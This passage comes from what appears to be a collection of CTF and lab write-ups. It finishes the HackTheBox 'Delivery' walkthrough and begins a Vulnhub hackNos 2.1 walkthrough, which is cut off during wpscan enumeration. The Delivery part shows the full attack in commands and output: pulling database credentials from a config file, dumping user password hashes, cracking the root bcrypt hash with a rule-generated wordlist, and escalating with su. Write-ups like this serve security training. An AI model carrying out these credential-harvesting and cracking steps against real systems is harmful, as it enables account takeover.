        "LoginButtonTextColor": "#2389D7"
    },
    "RateLimitSettings": {
        "Enable": false,
        "PerSec": 10,
        "MaxBurst": 100,
        "MemoryStoreSize": 10000,
        "VaryByRemoteAddr": true,
        "VaryByUser": false,
        "VaryByHeader": ""
    },
    "PrivacySettings": {
        "ShowEmailAddress": true,
        "ShowFullName": true
    },
    "SupportSettings": {
        "TermsOfServiceLink": "https://about.mattermost.com/default-terms/",
        "PrivacyPolicyLink": "https://about.mattermost.com/default-privacy-policy/",
        "AboutLink": "https://about.mattermost.com/default-about/",
        "HelpLink": "https://about.mattermost.com/default-help/",
        "ReportAProblemLink": "https://about.mattermost.com/default-report-a-problem/",
        "SupportEmail": "feedback@mattermost.com",
        "CustomTermsOfServiceEnabled": false,
        "CustomTermsOfServiceReAcceptancePeriod": 365,
        "EnableAskCommunityLink": true
    },
    "AnnouncementSettings": {
        "EnableBanner": false,
        "BannerText": "",
        "BannerColor": "#f2a93b",
        "BannerTextColor": "#333333",
        "AllowBannerDismissal": true,
        "AdminNoticesEnabled": true,
        "UserNoticesEnabled": true,
        "NoticesURL": "https://notices.mattermost.com/",
        "NoticesFetchFrequency": 3600,
        "NoticesSkipCache": false
    },
    "ThemeSettings": {
        "EnableThemeSelection": true,
        "DefaultTheme": "default",
        "AllowCustomThemes": true,
        "AllowedThemes": []
    },
    "GitLabSettings": {
        "Enable": false,
        "Secret": "",
        "Id": "",
        "Scope": "",
        "AuthEndpoint": "",
        "TokenEndpoint": "",
        "UserApiEndpoint": ""
    },
    "GoogleSettings": {
        "Enable": false,
        "Secret": "",
        "Id": "",
        "Scope": "profile email",
        "AuthEndpoint": "https://accounts.google.com/o/oauth2/v2/auth",
        "TokenEndpoint": "https://www.googleapis.com/oauth2/v4/token",
        "UserApiEndpoint": "https://people.googleapis.com/v1/people/me?personFields=names,emailAddresses,nicknames,metadata"
    },
    "Office365Settings": {
        "Enable": false,
        "Secret": "",
        "Id": "",
        "Scope": "User.Read",
        "AuthEndpoint": "https://login.microsoftonline.com/common/oauth2/v2.0/authorize",
        "TokenEndpoint": "https://login.microsoftonline.com/common/oauth2/v2.0/token",
        "UserApiEndpoint": "https://graph.microsoft.com/v1.0/me",
        "DirectoryId": ""
    },
    "LdapSettings": {
        "Enable": false,
        "EnableSync": false,
        "LdapServer": "",
        "LdapPort": 389,
        "ConnectionSecurity": "",
        "BaseDN": "",
        "BindUsername": "",
        "BindPassword": "",
        "UserFilter": "",
        "GroupFilter": "",
        "GuestFilter": "",
        "EnableAdminFilter": false,
        "AdminFilter": "",
        "GroupDisplayNameAttribute": "",
        "GroupIdAttribute": "",
        "FirstNameAttribute": "",
        "LastNameAttribute": "",
        "EmailAttribute": "",
        "UsernameAttribute": "",
        "NicknameAttribute": "",
        "IdAttribute": "",
        "PositionAttribute": "",
        "LoginIdAttribute": "",
        "PictureAttribute": "",
        "SyncIntervalMinutes": 60,
        "SkipCertificateVerification": false,
        "PublicCertificateFile": "",
        "PrivateKeyFile": "",
        "QueryTimeout": 60,
        "MaxPageSize": 0,
        "LoginFieldName": "",
        "LoginButtonColor": "#0000",
        "LoginButtonBorderColor": "#2389D7",
        "LoginButtonTextColor": "#2389D7",
        "Trace": false
    },
    "ComplianceSettings": {
        "Enable": false,
        "Directory": "./data/",
        "EnableDaily": false
    },
    "LocalizationSettings": {
        "DefaultServerLocale": "en",
        "DefaultClientLocale": "en",
        "AvailableLocales": ""
    },
    "SamlSettings": {
        "Enable": false,
        "EnableSyncWithLdap": false,
        "EnableSyncWithLdapIncludeAuth": false,
        "IgnoreGuestsLdapSync": false,
        "Verify": true,
        "Encrypt": true,
        "SignRequest": false,
        "IdpUrl": "",
        "IdpDescriptorUrl": "",
        "IdpMetadataUrl": "",
        "ServiceProviderIdentifier": "",
        "AssertionConsumerServiceURL": "",
        "SignatureAlgorithm": "RSAwithSHA1",
        "CanonicalAlgorithm": "Canonical1.0",
        "ScopingIDPProviderId": "",
        "ScopingIDPName": "",
        "IdpCertificateFile": "",
        "PublicCertificateFile": "",
        "PrivateKeyFile": "",
        "IdAttribute": "",
        "GuestAttribute": "",
        "EnableAdminAttribute": false,
        "AdminAttribute": "",
        "FirstNameAttribute": "",
        "LastNameAttribute": "",
        "EmailAttribute": "",
        "UsernameAttribute": "",
        "NicknameAttribute": "",
        "LocaleAttribute": "",
        "PositionAttribute": "",
        "LoginButtonText": "SAML",
        "LoginButtonColor": "#34a28b",
        "LoginButtonBorderColor": "#2389D7",
        "LoginButtonTextColor": "#ffffff"
    },
    "NativeAppSettings": {
        "AppDownloadLink": "https://mattermost.com/download/#mattermostApps",
        "AndroidAppDownloadLink": "https://about.mattermost.com/mattermost-android-app/",
        "IosAppDownloadLink": "https://about.mattermost.com/mattermost-ios-app/"
    },
    "ClusterSettings": {
        "Enable": false,
        "ClusterName": "",
        "OverrideHostname": "",
        "NetworkInterface": "",
        "BindAddress": "",
        "AdvertiseAddress": "",
        "UseIpAddress": true,
        "UseExperimentalGossip": false,
        "EnableExperimentalGossipEncryption": false,
        "ReadOnlyConfig": true,
        "GossipPort": 8074,
        "StreamingPort": 8075,
        "MaxIdleConns": 100,
        "MaxIdleConnsPerHost": 128,
        "IdleConnTimeoutMilliseconds": 90000
    },
    "MetricsSettings": {
        "Enable": false,
        "BlockProfileRate": 0,
        "ListenAddress": ":8067"
    },
    "ExperimentalSettings": {
        "ClientSideCertEnable": false,
        "ClientSideCertCheck": "secondary",
        "EnableClickToReply": false,
        "LinkMetadataTimeoutMilliseconds": 5000,
        "RestrictSystemAdmin": false,
        "UseNewSAMLLibrary": false,
        "CloudUserLimit": 0,
        "CloudBilling": false,
        "EnableSharedChannels": false
    },
    "AnalyticsSettings": {
        "MaxUsersForStatistics": 2500
    },
    "ElasticsearchSettings": {
        "ConnectionUrl": "http://localhost:9200",
        "Username": "elastic",
        "Password": "changeme",
        "EnableIndexing": false,
        "EnableSearching": false,
        "EnableAutocomplete": false,
        "Sniff": true,
        "PostIndexReplicas": 1,
        "PostIndexShards": 1,
        "ChannelIndexReplicas": 1,
        "ChannelIndexShards": 1,
        "UserIndexReplicas": 1,
        "UserIndexShards": 1,
        "AggregatePostsAfterDays": 365,
        "PostsAggregatorJobStartTime": "03:00",
        "IndexPrefix": "",
        "LiveIndexingBatchSize": 1,
        "BulkIndexingTimeWindowSeconds": 3600,
        "RequestTimeoutSeconds": 30,
        "SkipTLSVerification": false,
        "Trace": ""
    },
    "BleveSettings": {
        "IndexDir": "",
        "EnableIndexing": false,
        "EnableSearching": false,
        "EnableAutocomplete": false,
        "BulkIndexingTimeWindowSeconds": 3600
    },
    "DataRetentionSettings": {
        "EnableMessageDeletion": false,
        "EnableFileDeletion": false,
        "MessageRetentionDays": 365,
        "FileRetentionDays": 365,
        "DeletionJobStartTime": "02:00"
    },
    "MessageExportSettings": {
        "EnableExport": false,
        "ExportFormat": "actiance",
        "DailyRunTime": "01:00",
        "ExportFromTimestamp": 0,
        "BatchSize": 10000,
        "DownloadExportResults": false,
        "GlobalRelaySettings": {
            "CustomerType": "A9",
            "SmtpUsername": "",
            "SmtpPassword": "",
            "EmailAddress": "",
            "SMTPServerTimeout": 1800
        }
    },
    "JobSettings": {
        "RunJobs": true,
        "RunScheduler": true
    },
    "PluginSettings": {
        "Enable": true,
        "EnableUploads": false,
        "AllowInsecureDownloadUrl": false,
        "EnableHealthCheck": true,
        "Directory": "./plugins",
        "ClientDirectory": "./client/plugins",
        "Plugins": {},
        "PluginStates": {
            "com.mattermost.nps": {
                "Enable": true
            },
            "com.mattermost.plugin-channel-export": {
                "Enable": true
            },
            "com.mattermost.plugin-incident-management": {
                "Enable": true
            }
        },
        "EnableMarketplace": true,
        "EnableRemoteMarketplace": true,
        "AutomaticPrepackagedPlugins": true,
        "RequirePluginSignature": false,
        "MarketplaceUrl": "https://api.integrations.mattermost.com",
        "SignaturePublicKeyFiles": []
    },
    "DisplaySettings": {
        "CustomUrlSchemes": [],
        "ExperimentalTimezone": true
    },
    "GuestAccountsSettings": {
        "Enable": false,
        "AllowEmailAccounts": true,
        "EnforceMultifactorAuthentication": false,
        "RestrictCreationToDomains": ""
    },
    "ImageProxySettings": {
        "Enable": false,
        "ImageProxyType": "local",
        "RemoteImageProxyURL": "",
        "RemoteImageProxyOptions": ""
    },
    "CloudSettings": {
        "CWSUrl": "https://customers.mattermost.com"
    }
}
```

After Enumerating the file we find the mysql creads with database name.

``` bash
mmuser:Crack_The_MM_Admin_PW
```

Let's login in mysql real quick.

We find the user table let's check what's inside that.

``` bash
maildeliverer@Delivery:/opt/mattermost/config$ mysql -u mmuser -p'Crack_The_MM_Admin_PW' mattermost
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 60
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [mattermost]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mattermost         |
+--------------------+
2 rows in set (0.000 sec)

MariaDB [mattermost]> use mattermost;
Database changed
MariaDB [mattermost]> show tables;
+------------------------+
| Tables_in_mattermost   |
+------------------------+
| Audits                 |
| Bots                   |
| ChannelMemberHistory   |
| ChannelMembers         |
| Channels               |
| ClusterDiscovery       |
| CommandWebhooks        |
| Commands               |
| Compliances            |
| Emoji                  |
| FileInfo               |
| GroupChannels          |
| GroupMembers           |
| GroupTeams             |
| IncomingWebhooks       |
| Jobs                   |
| Licenses               |
| LinkMetadata           |
| OAuthAccessData        |
| OAuthApps              |
| OAuthAuthData          |
| OutgoingWebhooks       |
| PluginKeyValueStore    |
| Posts                  |
| Preferences            |
| ProductNoticeViewState |
| PublicChannels         |
| Reactions              |
| Roles                  |
| Schemes                |
| Sessions               |
| SidebarCategories      |
| SidebarChannels        |
| Status                 |
| Systems                |
| TeamMembers            |
| Teams                  |
| TermsOfService         |
| ThreadMemberships      |
| Threads                |
| Tokens                 |
| UploadSessions         |
| UserAccessTokens       |
| UserGroups             |
| UserTermsOfService     |
| Users                  |
+------------------------+
46 rows in set (0.001 sec)
```

``` bash
MariaDB [mattermost]> select * from Users;
+----------------------------+---------------+---------------+----------+----------------------------------+--------------------------------------------------------------+----------+-------------+-------------------------+---------------+----------+--------------------+----------+----------+--------------------------+----------------+-------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------+-------------------+----------------+--------+--------------------------------------------------------------------------------------------+-----------+-----------+
| Id                         | CreateAt      | UpdateAt      | DeleteAt | Username                         | Password                                                     | AuthData | AuthService | Email                   | EmailVerified | Nickname | FirstName          | LastName | Position | Roles                    | AllowMarketing | Props | NotifyProps                                                                                                                                                                  | LastPasswordUpdate | LastPictureUpdate | FailedAttempts | Locale | Timezone                                                                                   | MfaActive | MfaSecret |
+----------------------------+---------------+---------------+----------+----------------------------------+--------------------------------------------------------------+----------+-------------+-------------------------+---------------+----------+--------------------+----------+----------+--------------------------+----------------+-------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------+-------------------+----------------+--------+--------------------------------------------------------------------------------------------+-----------+-----------+
| 64nq8nue7pyhpgwm99a949mwya | 1608992663714 | 1608992663731 |        0 | surveybot                        |                                                              | NULL     |             | surveybot@localhost     |             0 |          | Surveybot          |          |          | system_user              |              0 | {}    | {"channel":"true","comments":"never","desktop":"mention","desktop_sound":"true","email":"true","first_name":"false","mention_keys":"","push":"mention","push_status":"away"} |      1608992663714 |     1608992663731 |              0 | en     | {"automaticTimezone":"","manualTimezone":"","useAutomaticTimezone":"true"}                 |         0 |           |
| 6akd5cxuhfgrbny81nj55au4za | 1609844799823 | 1609844799823 |        0 | c3ecacacc7b94f909d04dbfd308a9b93 | $2a$10$u5815SIBe2Fq1FZlv9S8I.VjU3zeSPBrIEg9wvpiLaS7ImuiItEiK | NULL     |             | 4120849@delivery.htb    |             0 |          |                    |          |          | system_user              |              0 | {}    | {"channel":"true","comments":"never","desktop":"mention","desktop_sound":"true","email":"true","first_name":"false","mention_keys":"","push":"mention","push_status":"away"} |      1609844799823 |                 0 |              0 | en     | {"automaticTimezone":"","manualTimezone":"","useAutomaticTimezone":"true"}                 |         0 |           |
| 6wkx1ggn63r7f8q1hpzp7t4iiy | 1609844806814 | 1609844806814 |        0 | 5b785171bfb34762a933e127630c4860 | $2a$10$3m0quqyvCE8Z/R1gFcCOWO6tEj6FtqtBn8fRAXQXmaKmg.HDGpS/G | NULL     |             | 7466068@delivery.htb    |             0 |          |                    |          |          | system_user              |              0 | {}    | {"channel":"true","comments":"never","desktop":"mention","desktop_sound":"true","email":"true","first_name":"false","mention_keys":"","push":"mention","push_status":"away"} |      1609844806814 |                 0 |              0 | en     | {"automaticTimezone":"","manualTimezone":"","useAutomaticTimezone":"true"}                 |         0 |           |
| dijg7mcf4tf3xrgxi5ntqdefma | 1608992692294 | 1609157893370 |        0 | root                             | $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO | NULL     |             | root@delivery.htb       |             1 |          |                    |          |          | system_admin system_user |              1 | {}    | {"channel":"true","comments":"never","desktop":"mention","desktop_sound":"true","email":"true","first_name":"false","mention_keys":"","push":"mention","push_status":"away"} |      1609157893370 |                 0 |              0 | en     | {"automaticTimezone":"Africa/Abidjan","manualTimezone":"","useAutomaticTimezone":"true"}   |         0 |           |
| hatotzdacb8mbe95hm4ei8i7ny | 1609844805777 | 1609844805777 |        0 | ff0a21fc6fc2488195e16ea854c963ee | $2a$10$RnJsISTLc9W3iUcUggl1KOG9vqADED24CQcQ8zvUm1Ir9pxS.Pduq | NULL     |             | 9122359@delivery.htb    |             0 |          |                    |          |          | system_user              |              0 | {}    | {"channel":"true","comments":"never","desktop":"mention","desktop_sound":"true","email":"true","first_name":"false","mention_keys":"","push":"mention","push_status":"away"} |      1609844805777 |                 0 |              0 | en     | {"automaticTimezone":"","manualTimezone":"","useAutomaticTimezone":"true"}                 |         0 |           |
| jing8rk6mjdbudcidw6wz94rdy | 1608992663664 | 1608992663664 |        0 | channelexport                    |                                                              | NULL     |             | channelexport@localhost |             0 |          | Channel Export Bot |          |          | system_user              |              0 | {}    | {"channel":"true","comments":"never","desktop":"mention","desktop_sound":"true","email":"true","first_name":"false","mention_keys":"","push":"mention","push_status":"away"} |      1608992663664 |                 0 |              0 | en     | {"automaticTimezone":"","manualTimezone":"","useAutomaticTimezone":"true"}                 |         0 |           |
| mn3pswas8fgh8ezcdrt9p6tf9o | 1610411207184 | 1610411207184 |        0 | lucifer11                        | $2a$10$El/Sg/ZoEtduz0VkFBAGz.HziCpGN/lfVYfGMKJxYBzlx6iihTH3y | NULL     |             | 1185151867@qq.com       |             0 |          |                    |          |          | system_user              |              1 | {}    | {"channel":"true","comments":"never","desktop":"mention","desktop_sound":"true","email":"true","first_name":"false","mention_keys":"","push":"mention","push_status":"away"} |      1610411207184 |                 0 |              0 | en     | {"automaticTimezone":"","manualTimezone":"","useAutomaticTimezone":"true"}                 |         0 |           |
| n9magehhzincig4mm97xyft9sc | 1609844789048 | 1609844800818 |        0 | 9ecfb4be145d47fda0724f697f35ffaf | $2a$10$s.cLPSjAVgawGOJwB7vrqenPg2lrDtOECRtjwWahOzHfq1CoFyFqm | NULL     |             | 5056505@delivery.htb    |             1 |          |                    |          |          | system_user              |              0 | {}    | {"channel":"true","comments":"never","desktop":"mention","desktop_sound":"true","email":"true","first_name":"false","mention_keys":"","push":"mention","push_status":"away"} |      1609844789048 |                 0 |              0 | en     | {"automaticTimezone":"","manualTimezone":"","useAutomaticTimezone":"true"}                 |         0 |           |
| tih3dgutp3dwtfxruq7mahy8cc | 1610411965479 | 1610412138206 |        0 | lucifer12                        | $2a$10$o3I55OEGHVmlXpXyB/f77u8209IMIDHDtRmr4P/YhOktoU71qEkD6 | NULL     |             | 3192528@delivery.htb    |             1 |          |                    |          |          | system_user              |              1 | {}    | {"channel":"true","comments":"never","desktop":"mention","desktop_sound":"true","email":"true","first_name":"false","mention_keys":"","push":"mention","push_status":"away"} |      1610411965479 |                 0 |              0 | en     | {"automaticTimezone":"America/New_York","manualTimezone":"","useAutomaticTimezone":"true"} |         0 |           |
+----------------------------+---------------+---------------+----------+----------------------------------+--------------------------------------------------------------+----------+-------------+-------------------------+---------------+----------+--------------------+----------+----------+--------------------------+----------------+-------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------+-------------------+----------------+--------+--------------------------------------------------------------------------------------------+-----------+-----------+
9 rows in set (0.000 sec)
```

So now we only grep root passoword.

And we got the hash.

``` bash
MariaDB [mattermost]> select Password from Users where Username = 'root';
+--------------------------------------------------------------+
| Password                                                     |
+--------------------------------------------------------------+
| $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO |
+--------------------------------------------------------------+
1 row in set (0.000 sec)
```

i use john to crack the hash with rockyou.txt but it doesn't work.

After that i think i miss something then i realized that i don't read the chat carefully.

I go back and read the chat of root then i realized that we want to create a wordlist with hashcat rules with this hint "PleaseSubscribe!"

``` bash
root
9:29 AM

@developers Please update theme to the OSTicket before we go live.  Credentials to the server are maildeliverer:Youve_G0t_Mail! 

Also please create a program to help us stop re-using the same passwords everywhere.... Especially those that are a variant of "PleaseSubscribe!"
```

So i download [OneRuleToRuleThemAll](https://github.com/stealthsploit/Optimised-hashcat-Rule) from github for making a wordlist.


``` bash
┌──(root💀kali)-[~/hackthebox/machine/delivery]
└─# echo "PleaseSubscribe!" | hashcat -r OneRuleToRuleThemAll.rule --stdout > wordlist.txt
```

Now we got the wordlist let's crack the hash real quick.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/delivery]
└─# john -w=wordlist.txt hash 
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
PleaseSubscribe!21 (?)
1g 0:00:01:13 DONE (2021-01-11 19:59) 0.01364g/s 175.8p/s 175.8c/s 175.8C/s PleamseSubscribe!..PleaseSubscribe!14
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

And we got the password "PleaseSubscribe!21"

Let's change the user to root and got our favourate root.txt.

``` bash
maildeliverer@Delivery:~$ su root
Password: 
root@Delivery:/home/maildeliverer# cd
root@Delivery:~# ls
mail.sh  note.txt  py-smtp.py  root.txt
root@Delivery:~# cat root.txt 
514195c399929e0f47f68a7e4f770317
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb157.jpg)


#### Summary of knowledge

 - using OneRuleToRuleThemAll and hashcat generate passwords
 - john crack hashs

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end delivery -->

</details>

<a id="case-hacknos-os-hacknos-2-1"></a>

## 备份、哈希与 CMS 账户复用

页面线索、备份哈希与 WordPress 数据库连接到多个账户。保留数据库内容、破解结果和后续权限变化的对应关系。

<p class="kb-provenance">来源 hackNos-Os-hackNos-2-1 · 原记录 2019-12-19 · 21 个代码块 · 11 处图片引用</p>

<details class="kb-evidence" id="record-hacknos-os-hacknos-2-1">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start hackNos-Os-hackNos-2-1 -->

名称：hackNos: Os-hackNos-2.1
发布日期：29 Nov 2019

下载：

 - Download: [https://drive.google.com/open?id=1Uszfqoomm7iv_c4aiuNb6UPl8Zgfv58s](https://drive.google.com/open?id=1Uszfqoomm7iv_c4aiuNb6UPl8Zgfv58s)
 - Download (Mirror): [https://download.vulnhub.com/hacknos/Os-hackNos-2.1.ova](https://download.vulnhub.com/hacknos/Os-hackNos-2.1.ova)
 - Download (Torrent): [https://download.vulnhub.com/hacknos/Os-hackNos-2.1.ova.torrent](https://download.vulnhub.com/hacknos/Os-hackNos-2.1.ova.torrent)

难度：容易中级

flag：2个flag第一个user和第二个root

学习：Web应用程序 枚举 密码破解



#### 网络配置

由于此靶机使用virtualbox导出的ova文件，无法适应vmware的网络配置，故将靶机放在vbox中，而攻击机kali放在vmware中，网络如下图配置方能让两台机器相互通信

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub71.jpg)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub72.jpg)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub73.jpg)

#### 信息收集

上nmap

``` bash
root@kali:~# nmap -sn -v 192.168.56.0/24
Nmap scan report for 192.168.56.101
Host is up (0.00027s latency).
MAC Address: 08:00:27:89:DE:B1 (Oracle VirtualBox virtual NIC)
```

``` bash
root@kali:~# nmap -A -v -sV -Pn -T4 --script=vuln 192.168.56.101
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|_  /tsweb/: Remote Desktop Web Connection
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
```

开了2个端口，然后dirb目录扫一波

``` bash
root@kali:~# dirb http://192.168.56.101/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Thu Dec 19 00:38:44 2019
URL_BASE: http://192.168.56.101/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.56.101/ ----
+ http://192.168.56.101/index.html (CODE:200|SIZE:10918)                                              
+ http://192.168.56.101/server-status (CODE:403|SIZE:279)                                             
==> DIRECTORY: http://192.168.56.101/tsweb/                                                           
                                                                                                      
---- Entering directory: http://192.168.56.101/tsweb/ ----
+ http://192.168.56.101/tsweb/index.php (CODE:301|SIZE:0)                                             
==> DIRECTORY: http://192.168.56.101/tsweb/wp-admin/                                                  
==> DIRECTORY: http://192.168.56.101/tsweb/wp-content/                                                
==> DIRECTORY: http://192.168.56.101/tsweb/wp-includes/                                               
+ http://192.168.56.101/tsweb/xmlrpc.php (CODE:405|SIZE:42)                                           
                                                                                                      
---- Entering directory: http://192.168.56.101/tsweb/wp-admin/ ----
+ http://192.168.56.101/tsweb/wp-admin/admin.php (CODE:302|SIZE:0)                                    
==> DIRECTORY: http://192.168.56.101/tsweb/wp-admin/css/                                              
==> DIRECTORY: http://192.168.56.101/tsweb/wp-admin/images/                                           
==> DIRECTORY: http://192.168.56.101/tsweb/wp-admin/includes/                                         
+ http://192.168.56.101/tsweb/wp-admin/index.php (CODE:302|SIZE:0)                                    
==> DIRECTORY: http://192.168.56.101/tsweb/wp-admin/js/                                               
==> DIRECTORY: http://192.168.56.101/tsweb/wp-admin/maint/                                            
==> DIRECTORY: http://192.168.56.101/tsweb/wp-admin/network/                                          
==> DIRECTORY: http://192.168.56.101/tsweb/wp-admin/user/                                             
                                                                                                      
---- Entering directory: http://192.168.56.101/tsweb/wp-content/ ----
+ http://192.168.56.101/tsweb/wp-content/index.php (CODE:200|SIZE:0)                                  
==> DIRECTORY: http://192.168.56.101/tsweb/wp-content/plugins/                                        
==> DIRECTORY: http://192.168.56.101/tsweb/wp-content/themes/                                         
==> DIRECTORY: http://192.168.56.101/tsweb/wp-content/upgrade/                                        
==> DIRECTORY: http://192.168.56.101/tsweb/wp-content/uploads/                                   
                                                                                                      
---- Entering directory: http://192.168.56.101/tsweb/wp-admin/network/ ----
+ http://192.168.56.101/tsweb/wp-admin/network/admin.php (CODE:302|SIZE:0)                            
+ http://192.168.56.101/tsweb/wp-admin/network/index.php (CODE:302|SIZE:0)                            
                                                                                                      
---- Entering directory: http://192.168.56.101/tsweb/wp-admin/user/ ----
+ http://192.168.56.101/tsweb/wp-admin/user/admin.php (CODE:302|SIZE:0)                               
+ http://192.168.56.101/tsweb/wp-admin/user/index.php (CODE:302|SIZE:0)                               
                                                                                                      
---- Entering directory: http://192.168.56.101/tsweb/wp-content/plugins/ ----
+ http://192.168.56.101/tsweb/wp-content/plugins/index.php (CODE:200|SIZE:0)                          
                                                                                                      
---- Entering directory: http://192.168.56.101/tsweb/wp-content/themes/ ----
+ http://192.168.56.101/tsweb/wp-content/themes/index.php (CODE:200|SIZE:0)                           
                                                                                                                      
-----------------
END_TIME: Thu Dec 19 00:39:22 2019
DOWNLOADED: 36896 - FOUND: 13
```

可以发现是wordpress程序搭建的,wpscan一波

``` bash
root@kali:~# wpscan --url http://192.168.56.101/tsweb/ -e ap,at,tt,cb
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.7.5
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________

[+] URL: http://192.168.56.101/tsweb/
[+] Started: Thu Dec 19 03:35:07 2019

Interesting Finding(s):

[+] http://192.168.56.101/tsweb/
 | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] http://192.168.56.101/tsweb/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] http://192.168.56.101/tsweb/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://192.168.56.101/tsweb/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] http://192.168.56.101/tsweb/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.3 identified (Insecure, released on 2019-11-12).
 | Found By: Rss Generator (Passive Detection)
 |  - http://192.168.56.101/tsweb/index.php/feed/, <generator>https://wordpress.org/?v=5.3</generator>
 |  - http://192.168.56.101/tsweb/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.3</generator>

[+] WordPress theme in use: twentytwenty
 | Location: http://192.168.56.101/tsweb/wp-content/themes/twentytwenty/
 | Last Updated: 2019-12-13T00:00:00.000Z
 | Readme: http://192.168.56.101/tsweb/wp-content/themes/twentytwenty/readme.txt
 | [!] The version is out of date, the latest version is 1.1
 | Style URL: http://192.168.56.101/tsweb/wp-content/themes/twentytwenty/style.css?ver=1.0
 | Style Name: Twenty Twenty
 | Style URI: https://wordpress.org/themes/twentytwenty/
 | Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.0 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://192.168.56.101/tsweb/wp-content/themes/twentytwenty/style.css?ver=1.0, Match: 'Version: 1.0'

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] gracemedia-media-player
 | Location: http://192.168.56.101/tsweb/wp-content/plugins/gracemedia-media-player/
 | Latest Version: 1.0 (up to date)
 | Last Updated: 2013-07-21T15:09:00.000Z
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.0 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://192.168.56.101/tsweb/wp-content/plugins/gracemedia-media-player/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://192.168.56.101/tsweb/wp-content/plugins/gracemedia-media-player/readme.txt

[+] Enumerating All Themes (via Passive and Aggressive Methods)
 Checking Known Locations - Time: 00:00:38 <=======================================================================================================================================================> (20466 / 20466) 100.00% Time: 00:00:38
[+] Checking Theme Versions (via Passive and Aggressive Methods)

[i] Theme(s) Identified:

[+] twentynineteen
 | Location: http://192.168.56.101/tsweb/wp-content/themes/twentynineteen/
 | Latest Version: 1.4 (up to date)
 | Last Updated: 2019-11-12T00:00:00.000Z
 | Readme: http://192.168.56.101/tsweb/wp-content/themes/twentynineteen/readme.txt
 | Style URL: http://192.168.56.101/tsweb/wp-content/themes/twentynineteen/style.css
 | Style Name: Twenty Nineteen
 | Style URI: https://wordpress.org/themes/twentynineteen/
 | Description: Our 2019 default theme is designed to show off the power of the block editor. It features custom sty...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Known Locations (Aggressive Detection)
 |
 | Version: 1.4 (80% confidence)
